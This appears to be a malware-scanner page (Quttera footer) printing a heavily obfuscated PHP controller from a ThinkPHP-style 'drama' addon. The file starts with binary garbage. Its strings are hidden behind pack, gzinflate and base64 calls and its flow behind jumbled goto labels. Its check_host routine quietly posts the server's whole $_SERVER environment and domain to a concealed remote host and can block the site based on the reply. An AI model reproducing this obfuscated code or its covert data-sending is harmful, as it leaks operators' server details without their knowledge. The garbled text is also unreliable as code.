N4+H"Nڑg2gDG;GeJS?\t$⓪6p5\QmCTC!=0r`'vGԤ~<\<SH5h_rƣjAI~$õ>kUfNW(_d}wl72d3Z2l5"ў:שlkf}WpZ`Mþ*GUK\6VEMMӱM-72[V=y.Z&5Tk=fo\y.ךEC]X5=y^zrgd<4;iZ1uOnMTMo	 10, -8)));error_reporting(0);$��ߞ���;if(!extension_loaded(call_user_func(pack $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0002]))){goto FQflLiWovE;}exit(call_user_func(pack $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x00003]));FQflLiWovE:if(!(!defined(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x05]))|| BSQOXLZMYXNJEHLHIYZPAYZRVZZALXBC!=call_user_func(pack $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x006]))){goto As2MoSNjDP;}exit(call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0007]));As2MoSNjDP:use addons\drama\exception\Exception;use app\common\controller\Api;use fast\Http;use think\Cache;use think\Db;use think\Lang;class Base extends Api{protected $site_id=null;protected $sign=null;protected $h5_theme="default";public function _initialize(){goto X0JKjbOsfu;$���ۧ����;h7OZwHpPRH:$sign=request()->header(pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x0a]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));$�ٙ;if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){goto HmuehqKDeq;}$sign=request()->param(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x0000d]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));HmuehqKDeq:$sign=substr(trim($sign),0,0x000004);$���Đ���;goto JIUNdxOFHi;$����;vwIqOKChTd:Gtqptcpqm1:if(!($site_info[call_user_func(pack $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0010])]!=0&& $site_info[call_user_func(pack $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x00011])]error(call_user_func(pack $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x014]));il50pg0Haj:if(!$this->auth->{call_user_func(pack $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0015])}()){goto xXZAGhfFhF;}goto NnOW1HReAH;YeYTNddfn3:$this->check_h5_theme();$�����;$this->h5_theme=$config[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x000017])];$����;NJpTrY3pBQ:goto Q2aX5Qny8B;$��ϓ;NnOW1HReAH:if(!($this->auth->site_id !==$site_info[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x0000018])])){goto eeZMeFJnnq;}$this->auth->{pack($GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x019])}();eeZMeFJnnq:xXZAGhfFhF:$this->site_id=$site_info[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x001a])]?? 0;$�����乷���;goto WMJTAx3JR6;$��;JIUNdxOFHi:$domain=$_SERVER[call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0001b])];$������;$this->error(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x00001c]) .$domain.call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000001d]) .$sign.pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));$��ݹ;Xgq8EGDOnG:if(!($site_info[pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x01e])]==call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x001f]))){goto Gtqptcpqm1;}$this->error(pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x00020]));goto vwIqOKChTd;$�Á����;WMJTAx3JR6:$this->sign=$site_info[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x000021])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]);$�������;$this->check_host();$����燗�;$config=Db::{call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])}(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x0024]))->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x000026]),$this->site_id)->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x0000027]),pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x028]))->{pack($GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x0029])}(pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x0002a]));$��܄�������;$config=@json_decode($config,!0);$�������֒;if(!(isset($config[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x000002c])])&& $config[call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x02d])]!==pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x002e]))){goto NJpTrY3pBQ;}goto YeYTNddfn3;X0JKjbOsfu:parent::_initialize();$�碻Ѩ;$controllername=strtolower($this->request->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0000031])}());$�����ΐ����;$this->loadlang($controllername);$��;$site_info=$this->getSite();$����Ę�����;if(!empty($site_info)){goto Xgq8EGDOnG;}goto h7OZwHpPRH;Q2aX5Qny8B:}protected function getSite(){goto zcYTLGQk3N;$����;WbOHap_78v:return $site_info;$����;goto nLSXB7o60B;$����;t5vQ1R937B:if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){goto eVcKpPoI9Q;}$domain=$_SERVER[pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x00034])];$site_info=Db::{call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])}(call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x000035]))->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x0000036]),$domain)->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(call_user_func(pack $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x037]),pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x0038]))->{call_user_func(pack $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x00039])}();$���;if($site_info){goto Ec6e6pAo4g;}$site_info=Db::{call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])}(pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x00003a]))->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x000003b]),0x001)->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(call_user_func(pack $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x03c]),call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x003d]))->{call_user_func(pack $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x00039])}();goto VKsuS6VVgZ;$�����;VKsuS6VVgZ:$sign=$site_info[pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x0003e])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]);$���ߏ�;goto AFLGkBPV1n;$�������Р��;Ec6e6pAo4g:$sign=$site_info[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x00003f])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]);$��������;AFLGkBPV1n:goto mbgWA4cyu1;$���;zcYTLGQk3N:$sign=request()->header(call_user_func(pack $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x0000040]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){goto l7c2PZtCNG;}$sign=request()->param(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x041]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]));l7c2PZtCNG:$sign=substr(trim($sign),0,0x000004);$�닍���;goto t5vQ1R937B;$������;mbgWA4cyu1:eVcKpPoI9Q:if(!($sign==pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]))){goto WOF0HQElSN;}$this->error(call_user_func(pack $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x0042]));WOF0HQElSN:$site_info=Db::{call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x023])}(call_user_func(pack $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x00043]))->{pack($GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00025])}(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x000044]),$sign)->{call_user_func(pack $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x00039])}();$��઒�����;goto WbOHap_78v;$���;nLSXB7o60B:}protected function loadlang($name){Lang::{pack($GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0000045])}(ADDON_PATH.pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x046]) .$this->request->{pack($GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0047])}().pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x00048]) .str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000004a]),pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x00048]),$name).call_user_func(pack $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x04b]));$����;}protected function dramaValidate($params,$class,$scene,$rules=array()){$validate=validate(str_replace(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0004d]),call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x00004e]),$class));$���;if($validate->check($params,$rules,$scene)){goto uvL5QGQDq6;}$this->error($validate->{call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x050])}());uvL5QGQDq6:}protected function repeat_filter($key=null,$expire=0x05){if($key){goto X9zXM3TgX7;}$url=request()->baseUrl();$ip=request()->ip();$����;$key=md5($url.call_user_func(pack $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0000054]) .$ip);$�ȸ����񼆕;X9zXM3TgX7:if(!cache(call_user_func(pack $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x0056]) .$key)){goto fr9SRSzHGk;}new Exception(call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x000058]));fr9SRSzHGk:cache($key,time(),$expire);$������;}protected function check_host(){$domain=$_SERVER[pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x0000059])];$�������;if(!(Cache::{call_user_func(pack $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x05a])}(call_user_func(pack $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x005b]) .$domain)&& Cache::{pack($GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x0005c])}(pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x00005d]) .$domain))){goto RiSbD9bQ4k;}return;RiSbD9bQ4k:try{$data=Http::post(call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x05f]),[pack($GLOBALS[�Ӽ����][(5+6+7-18)*0],$GLOBALS[�Ӽ����][0x0060]) =>call_user_func(pack $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x00061]),call_user_func(pack $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x000062]) =>$domain,call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0000063]) =>json_encode($_SERVER)]);$���;$data=json_decode($data,!0);$����������;}catch(\Exception $e){Cache::set(pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x00066]) .$domain,0x001,0x0e10);$�������;return;$��ڞ�;}if(!(isset($data[call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x000067])])&& $data[call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x000067])]==0)){goto jDnpsUZKoQ;}new Exception($data[pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x0000068])]?? str_replace(pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x069]),pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00b]),base64_decode(call_user_func(pack $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0006b]))));jDnpsUZKoQ:Cache::set(call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x00006c]) .$domain,0x001,0x0e10);$���;}protected function check_h5_theme(){$domain=$_SERVER[pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x000006d])];$������;if(!(Cache::{call_user_func(pack $GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x05a])}(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x06e]) .$domain)&& Cache::{pack($GLOBALS[�Ӽ����][4+5-3*3], $GLOBALS[�Ӽ����][0x0005c])}(call_user_func(pack $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x006f]) .$domain))){goto s6hjrj1FiM;}return;s6hjrj1FiM:try{$data=Http::post(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x00070]),[pack($GLOBALS[�Ӽ����][3*9-27],$GLOBALS[�Ӽ����][0x000071]) =>pack($GLOBALS[�Ӽ����][100-20*5],$GLOBALS[�Ӽ����][0x0000072]),call_user_func(pack $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x073]) =>$domain]);$���;$data=json_decode($data,!0);$��ޣ��;}catch(\Exception $e){Cache::set(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x0074]) .$domain,0x001,0x0e10);$�����;return;$��;}if(!(isset($data[call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][6/2*3-9], $GLOBALS[�Ӽ����][0x00075])])&& $data[call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][15-5+7-17], $GLOBALS[�Ӽ����][0x000076])]==0)){goto exurEHJdVM;}new Exception($data[call_user_func(gzinflate(substr(+HL#^ޗ 10, -8)), $GLOBALS[�Ӽ����][100-20*5], $GLOBALS[�Ӽ����][0x0000077])]?? pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x078]));exurEHJdVM:Cache::set(pack($GLOBALS[�Ӽ����][4+5-3*3],$GLOBALS[�Ӽ����][0x0079]) .$domain,0x001,0x0e10);$���������;}protected function getRootDomain($domain){goto FMJyyEPENU;$��֟����;MwXFOuLJ9w:IB2BLJF_or:return $host;$�׵�;goto dPR06qsaIF;$�������ס��;FMJyyEPENU:$host=strtolower(trim($domain));$������߉�;$hostArr=explode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000004a]),$host);$���;$hostCount=count($hostArr);$��������;$cnRegex=pack($GLOBALS[�Ӽ����][15-5+7-17],$GLOBALS[�Ӽ����][0x000007c]);$����;$countryRegex=pack($GLOBALS[�Ӽ����][6/2*3-9],$GLOBALS[�Ӽ����][0x07d]);$���������;goto cbwC1pNpkt;$����ٸ;cbwC1pNpkt:if($hostCount>0x0002&&(preg_match($cnRegex,$host)|| preg_match($countryRegex,$host))){goto FqM7TXsAhj;}$host=implode(call_user_func(base64_decode(str_rot13('pTSwnj')), $GLOBALS[�Ӽ����][3*9-27], $GLOBALS[�Ӽ����][0x000004a]),array_slice($hostArr,-0x0002,0x0002,!0));goto IB2BLJF_or;$����֑�;FqM7TXsAhj:$host=implode(call_user_func(pack $GLOBALS[�Ӽ����][(5+6+7-18)*0], $GLOBALS[�Ӽ����][0x0000081]),array_slice($hostArr,-0x00003,0x00003,!0));$�����ƌ��;goto MwXFOuLJ9w;$�������;dPR06qsaIF:}}



© 2023 Quttera Ltd. All rights reserved.